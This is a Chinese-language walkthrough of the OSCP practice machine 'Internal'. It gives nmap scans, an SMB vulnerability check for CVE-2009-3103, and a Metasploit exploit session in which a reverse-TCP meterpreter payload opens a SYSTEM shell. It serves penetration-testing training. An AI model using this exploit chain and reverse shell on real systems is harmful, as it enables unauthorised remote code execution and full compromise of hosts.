OSCP靶场–Internal

考点(CVE-2009-3103)

1.nmap扫描

##
┌──(root㉿kali)-[~/Desktop]
└─# nmap 192.168.216.40 -sV -sC  -Pn --min-rate 2500 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2024-03-31 07:00 EDT
Nmap scan report for 192.168.216.40
Host is up (0.42s latency).
Not shown: 65522 closed tcp ports (reset)
PORT      STATE SERVICE            VERSION
53/tcp    open  domain             Microsoft DNS 6.0.6001 (17714650) (Windows Server 2008 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.0.6001 (17714650)
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Windows Server (R) 2008 Standard 6001 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=internal
| Not valid before: 2023-01-27T15:30:02
|_Not valid after:  2023-07-29T15:30:02
| rdp-ntlm-info: 
|   Target_Name: INTERNAL
|   NetBIOS_Domain_Name: INTERNAL
|   NetBIOS_Computer_Name: INTERNAL
|   DNS_Domain_Name: internal
|   DNS_Computer_Name: internal
|   Product_Version: 6.0.6001
|_  System_Time: 2024-03-31T11:02:42+00:00
|_ssl-date: 2024-03-31T11:02:53+00:00; 0s from scanner time.
5357/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
49156/tcp open  msrpc              Microsoft Windows RPC
49157/tcp open  msrpc              Microsoft Windows RPC
49158/tcp open  msrpc              Microsoft Windows RPC
Service Info: Host: INTERNAL; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008::sp1, cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2008:r2

Host script results:
| smb-os-discovery: 
|   OS: Windows Server (R) 2008 Standard 6001 Service Pack 1 (Windows Server (R) 2008 Standard 6.0)
|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|   Computer name: internal
|   NetBIOS computer name: INTERNAL\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-03-31T04:02:41-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.0.2: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-03-31T11:02:41
|_  start_date: 2023-02-18T02:15:24
|_clock-skew: mean: 1h23m59s, deviation: 3h07m50s, median: 0s
|_nbstat: NetBIOS name: INTERNAL, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:ba:a1:40 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.87 seconds

2.user priv

## http服务：
http://192.168.216.40:5357/

##
┌──(root㉿kali)-[~/Desktop]
└─# nmap --script smb-vuln* -p 445 192.168.216.40
Starting Nmap 7.92 ( https://nmap.org ) at 2024-03-31 07:27 EDT
Nmap scan report for internal (192.168.216.40)
Host is up (0.37s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: TIMEOUT
|_smb-vuln-ms10-054: false
| smb-vuln-cve2009-3103: 
|   VULNERABLE:
|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2009-3103
|           Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
|           Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
|           denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
|           PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
|           aka "SMBv2 Negotiation Vulnerability."
|           
|     Disclosure date: 2009-09-08
|     References:
|       http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103

Nmap done: 1 IP address (1 host up) scanned in 61.90 seconds


#################################
## CVE-2009-3103
https://www.exploit-db.com/exploits/40280
            
## msf利用：
┌──(root㉿kali)-[~/Desktop]
└─# msfconsole -q

msf6 > search CVE-2009-3103

Matching Modules
================

   #  Name                                                       Disclosure Date  Rank    Check  Description
   -  ----                                                       ---------------  ----    -----  -----------
   0  exploit/windows/smb/ms09_050_smb2_negotiate_func_index     2009-09-07       good    No     MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference

#################
##
msf6 > use 0

msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > options

Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  192.168.216.65   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT   445              yes       The target port (TCP)
   WAIT    180              yes       The number of seconds to wait for the attack to complete.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.45.171   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows Vista SP1/SP2 and Server 2008 (x86)


msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > set rhosts 192.168.216.40
rhosts => 192.168.216.40
msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > run

[*] Started reverse TCP handler on 192.168.45.171:4444 
[*] 192.168.216.40:445 - Connecting to the target (192.168.216.40:445)...
[*] 192.168.216.40:445 - Sending the exploit packet (951 bytes)...
[*] 192.168.216.40:445 - Waiting up to 180 seconds for exploit to trigger...
[*] Sending stage (175686 bytes) to 192.168.216.40
[*] Meterpreter session 1 opened (192.168.45.171:4444 -> 192.168.216.40:49159) at 2024-03-31 07:56:20 -0400

meterpreter > shell
Process 2092 created.
Channel 1 created.
Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
                                                 

唯一的http服务：目录扫描无发现：

检测到一个smb漏洞：

3. root priv[省略]

4.总结：

## CVE-2009-3103
https://www.exploit-db.com/exploits/40280